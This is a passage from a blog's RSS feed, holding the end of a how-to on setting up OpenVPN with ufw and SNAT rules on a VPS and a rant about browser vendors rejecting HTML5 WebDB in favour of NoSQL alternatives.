(10.8.0.0/24 and 10.9.0.0/24) for the "faster" and "compatible" instances.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The "compatible.conf" file varies only with the following lines:&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;port 443proto tcpserver 10.8.0.0 255.255.255.0status /var/log/openvpn/compatible-status.loglog-append /var/log/openvpn/compatible.log&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Next you'll want to copy over client.conf from /usr/share/doc/openvpn/examples/sample-config-files (but set 'AUTOSTART="compatible faster"' in /etc/default/openvpn so it's ignored by the init scripts).&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;clientdev tunproto udpremote 173.212.x.x 1194resolv-retry infinitenobindpersist-keypersist-tunca burstnet-ca.crtcert burstnet-client.crtkey burstnet-client.keyns-cert-type servertls-auth burstnet-ta.key 1cipher tls-cipher DHE-RSA-AES256-SHA:DHE-DSS-AES256-SHAcipher BF-CBCcomp-lzoverb 3&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;As I've got a bunch of different connections on my clients I've prepended "burstnet-" to all the files and called the main config files "BurstNET-Faster.conf" and "BurstNET-Compatible.conf" (which appear in the Tunnelblick menu on OS X as "BurstNET-Faster" and "BurstNET-Compatible" respectively - thanks to AlwaysVPN for this idea). The only difference for BurstNET-Compatible.conf is:&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;proto tcpremote 173.212.x.x 443&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;You're now almost ready for the smoke test (and indeed should be able to connect) but you'll end up on a 10.x subnet and therefore unable to communicate with anyone. The fix is "&lt;code&gt;iptables -t nat -A POSTROUTING -s 10.8.0.0/255.255.255.0 -j SNAT --to-source 173.212.x.x&lt;/code&gt;" (where the source IP is one of those allocated to you).&lt;br /&gt;&lt;br /&gt;Being paranoid though I want to lock down my server with a firewall, which for Ubuntu typically means &lt;code&gt;ufw&lt;/code&gt; (you'll need to "&lt;code&gt;apt-get install ufw&lt;/code&gt;" if you haven't already). My ufw rules look something like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;# ufw statusStatus: activeTo                         Action  From--                         ------  ----Anywhere                   ALLOW   1.2.3.41194/udp                   ALLOW   Anywhere443/tcp                    ALLOW   Anywhere&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;The first rule allows me to access the server from home via SSH and 1194/udp and 443/tcp allow VPN clients in. To allow the clients to access the outside world we're going to have to rewrite their traffic to come from a public IP (which is called "SNAT"), but first you'll want to enable forwarding by setting &lt;code&gt;DEFAULT_FORWARD_POLICY="ACCEPT"&lt;/code&gt; in /etc/default/ufw. Then it's just a case of adding something like this to /etc/ufw/before.rules:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;# nat Table rules*nat:POSTROUTING ACCEPT [0:0]# SNAT traffic from VPN subnet.-A POSTROUTING -s 10.8.0.0/255.255.255.0 -j SNAT --to-source 173.212.x.x-A POSTROUTING -s 10.9.0.0/255.255.255.0 -j SNAT --to-source 173.212.x.x# don't delete the 'COMMIT' line or these nat table rules won't be processedCOMMIT&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;You may need to enable UFW ("ufw enable") and if you lose access to your server you can always disable UFW ("ufw disable") using the rudimentary "Console" function of vePortal.&lt;br /&gt;&lt;br /&gt;On the client side you've got support for (at least) Linux (e.g. "&lt;code&gt;openvpn --config /etc/openvpn/BurstNET-Faster.conf&lt;/code&gt;"), Mac and Windows and there's &lt;a href="http://openvpn.net/index.php/open-source/documentation/graphical-user-interface.html"&gt;various GUIs&lt;/a&gt; (including &lt;a href="http://openvpn.se/"&gt;OpenVPN GUI&lt;/a&gt; for Windows and &lt;a href="http://www.tunnelblick.net/"&gt;Tunnelblick&lt;/a&gt; for Mac OS X). I'm (only) using Tunnelblick, and after copying Tunnelblick.app to /Applications I just need to create a ~/Library/openvpn directory and drop these files in there:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;BurstNET-Compatible.conf&lt;/li&gt;&lt;li&gt;BurstNET-Faster.conf&lt;/li&gt;&lt;li&gt;burstnet-ca.crt&lt;/li&gt;&lt;li&gt;burstnet-client.key&lt;/li&gt;&lt;li&gt;burstnet-client.crt &lt;/li&gt;&lt;li&gt;burstnet-ta.key&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;When Tunnelblick's running I have a little black tunnel symbol in the top right corner of my screen from which I can connect &amp;amp; disconnect as necessary.&lt;br /&gt;&lt;br /&gt;I think that's about it - hopefully there's nothing critical I've missed but feel free to follow up in the comments if you've anything to add. I'm now happily streaming from Hulu and Fox in the US, downloading Amazon MP3s (using my US credit card), and have a reasonable level of anonymity. If I was in Australia I'd have little to fear from censorship (and there's virtually nothing they can do to stop me) and as my machine has a private IP I'm effectively firewalled.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update:&lt;/span&gt; It seems that my VPS is occasionally restarted (which is not all that surprising) and forgets about its tun/tap device (which is). The device node itself is still visible in the filesystem, but with no driver to connect to in the kernel it doesn't work and OpenVPN doesn't start. You can test if your tun device is working using cat:&lt;br /&gt;&lt;br /&gt;WORKING:&lt;br /&gt;&lt;br /&gt;# cat /dev/net/tun&lt;br /&gt;cat: /dev/net/tun: File descriptor in bad state&lt;br /&gt;&lt;br /&gt;NOT WORKING:&lt;br /&gt;&lt;br /&gt;# cat /dev/net/tun&lt;br /&gt;cat: /dev/net/tun: No such device&lt;br /&gt;&lt;br /&gt;I've also noticed that ufw may need to be manually started with a 'ufw enable'. Hope that saves you some time diagnosing problems!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-980191825112902945?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=ic2Lb-u9qYs:g4frLyIDxCA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=ic2Lb-u9qYs:g4frLyIDxCA:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=ic2Lb-u9qYs:g4frLyIDxCA:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=ic2Lb-u9qYs:g4frLyIDxCA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=ic2Lb-u9qYs:g4frLyIDxCA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=ic2Lb-u9qYs:g4frLyIDxCA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=ic2Lb-u9qYs:g4frLyIDxCA:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=ic2Lb-u9qYs:g4frLyIDxCA:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=ic2Lb-u9qYs:g4frLyIDxCA:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/ic2Lb-u9qYs" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-04-06T21:00:22.902+02:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">15</thr:total><feedburner:origLink>http://samj.net/2010/01/howto-set-up-openvpn-in-vps.html</feedburner:origLink></item><item><title>NoSQL "movement" roadblocks HTML5 WebDB</title><link>http://feedproxy.google.com/~r/samj/~3/dA_2fOb1U9I/nosql-roadblocks-html5-webdb.html</link><author>samj@samj.net (Sam Johnston)</author><pubDate>Mon, 28 Dec 2009 01:26:55 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-5776907361574774460</guid><description>Today's rant is coming between me and a day of skiing so I'll keep it brief. While trying to get to the bottom of why I can't enjoy offline access to Google Apps &amp;amp; other web-based applications &lt;a href="http://code.google.com/p/gears/issues/detail?id=847"&gt;with Gears on Snow Leopard&lt;/a&gt; I came across a post noting &lt;a href="http://blog.futtta.be/2009/11/18/"&gt;Chrome, Opera to support html5 webdb, FF &amp;amp; IE won’t&lt;/a&gt;. This seemed curious as HTML5 is powering on towards last call and there are already multiple implementations of both applications and clients that run them. Here's where we're at:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Opera: "At opera, we implemented web db [...] it’s likely we will [ship it] as people have built on it"&lt;/li&gt;
&lt;li&gt;Google [Chrome]: "We’ve implemented WebDB … we’re about to ship it"&lt;/li&gt;
&lt;li&gt;Microsoft [IE]: "We don’t think we’ll reasonably be able to ship an interoperable version of WebDB"&lt;/li&gt;
&lt;li&gt;Mozilla [Firefox]: "We’ve talked to a lot of developers, the feedback we got is that we really don’t want SQL [...] I don’t think mozilla plans to ship it."&lt;/li&gt;
&lt;/ul&gt;Of these, Microsoft's argument (aside from being disproven by existing interoperable implementations) can be summarily dismissed because offline web applications are a direct competitor to desktop applications and therefore Windows itself. As if that's not enough, they have their own horse in this race that they don't have to share with anyone in the form of Silverlight. As such it's completely understandable (however lame) for them to spread interoperability FUD about competing technology.&lt;br /&gt;
&lt;br /&gt;
Mozilla's argument that "we really don't want SQL" is far more troublesome and &lt;a href="http://blog.vlad1.com/2009/04/06/html5-web-storage-and-sql/"&gt;posts like this&lt;/a&gt; follow an increasingly common pattern:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Someone proposes SQL for something (given we've got 4 decades of experience with it)&lt;/li&gt;
&lt;li&gt;Religious zealots trash talk SQL, offering a dozen or so NoSQL alternatives (all of which are in varying stages of [early] development)&lt;/li&gt;
&lt;li&gt;"My NoSQL db is bigger/better/faster than yours" debate ensues&lt;/li&gt;
&lt;li&gt;Nobody does anything&lt;/li&gt;
&lt;/ol&gt;Like it or not, SQL is a sensible database interface for web applications today. It's used almost exclusively on the server side already (except perhaps for the largest of sites, and even these tend to use SQL for some components) so developers are very well equipped to deal with it. It has been proven to work (and work well) by demanding applications including Gmail, Google Docs and Google Calendar, and is anyway independent of the underlying database engine. Ironically work has already been done to provide SQL interfaces to "NoSQL" databases (which just goes to show the "movement" completely misses the point) so those who really don't like SQLite (which happens to drive most implementations today) could conceivably create a drop-in replacement for it. Indeed power users like myself would likely appreciate a browser with embedded MySQL as a differentiating feature.&lt;br /&gt;
&lt;br /&gt;
In any case the API [cs]hould be versioned so we can offer alternatives like &lt;a href="http://dev.w3.org/2006/webapi/WebSimpleDB/"&gt;WebSimpleDB&lt;/a&gt; in the future. Right now though the open web is being held back by outdated standards and proprietary offerings controlled by single vendors (e.g. Adobe's AIR and Microsoft's Silverlight) are lining up to fill in the gap. Those suggesting "it's worth stepping back" because "there are other options that should be considered" which "might serve those needs better" would want to take a long, hard look at whether their proposed alternatives are really ready for prime time, or indeed even necessary. To an outsider trying to solve real business problems today a lot of it looks like academic wankery.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-5776907361574774460?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=dA_2fOb1U9I:SKSGTtV_4mg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=dA_2fOb1U9I:SKSGTtV_4mg:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=dA_2fOb1U9I:SKSGTtV_4mg:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=dA_2fOb1U9I:SKSGTtV_4mg:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=dA_2fOb1U9I:SKSGTtV_4mg:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=dA_2fOb1U9I:SKSGTtV_4mg:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=dA_2fOb1U9I:SKSGTtV_4mg:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=dA_2fOb1U9I:SKSGTtV_4mg:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=dA_2fOb1U9I:SKSGTtV_4mg:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/dA_2fOb1U9I" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-28T10:26:55.877+01:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://samj.net/2009/12/nosql-roadblocks-html5-webdb.html</feedburner:origLink></item><copyright>Copyright 2008 Sam Johnston - All Rights Reserved</copyright><media:credit role="author">Sam Johnston</media:credit><media:rating>nonadult</media:rating><media:description type="plain">Random rants about stuff</media:description></channel></rss>

